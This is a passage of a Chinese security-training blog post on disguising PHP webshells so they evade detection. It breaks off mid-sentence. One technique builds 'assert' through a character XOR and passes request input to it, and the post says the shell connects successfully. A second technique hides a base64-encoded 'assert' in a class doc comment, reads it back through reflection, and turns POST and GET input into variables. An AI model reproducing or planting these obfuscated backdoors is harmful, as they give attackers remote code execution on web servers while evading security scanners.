目录
本文由掌控安全学院 - 手电筒 投稿
1.php的异或运算
-
$a="~+d()"^"!{+{}"
这个表示了$a=这两个字符串之间进行一个异或运算
运算异或运算符,按二进制位进行异或运算
这里的运算会把符号转化为ascii码,再转化为二进制,再转化为十进制进行运算,再把结果转化为ascii码
通过这个转换的方式来绕过检测
-
<?php
-
$a= ("!"^"@").'ssert';
-
$a($_REQUEST[x]);
-
?>
测试可以成功连接
2.通过获取注释去绕过
-
<?php
-
/**
-
* YXNzZXJ0YmZnZmc=
-
*/
-
class Example
-
{
-
public function fn()
-
{
-
}
-
}
-
通过一个空的类去获取,
-
$reflector = new ReflectionClass('Example'); //这里为通过反射获取类的注释
-
$zhushi = substr(($reflector->getDocComment()), 7, 12);//然后去截断获取注释里的字符,注意getDocComment只能通过文件最开始的类来调用才会把注释内容显示
-
$zhushi = base64_decode($zhushi);
-
$zhushi = substr($zhushi, 0, 6);
-
echo $zhushi;
-
foreach (array('_POST','_GET') as $_request) {
-
foreach ($$_request as $_key=>$_value) {
-
$$_key= $_value;
-
}
-
}
-
/*设置一个数组,参数为_POST,_GET,然后把该数组用$_request去表示,再设置一个遍历,把$_request设为一个可变变量,再键值分离
-
再设$$_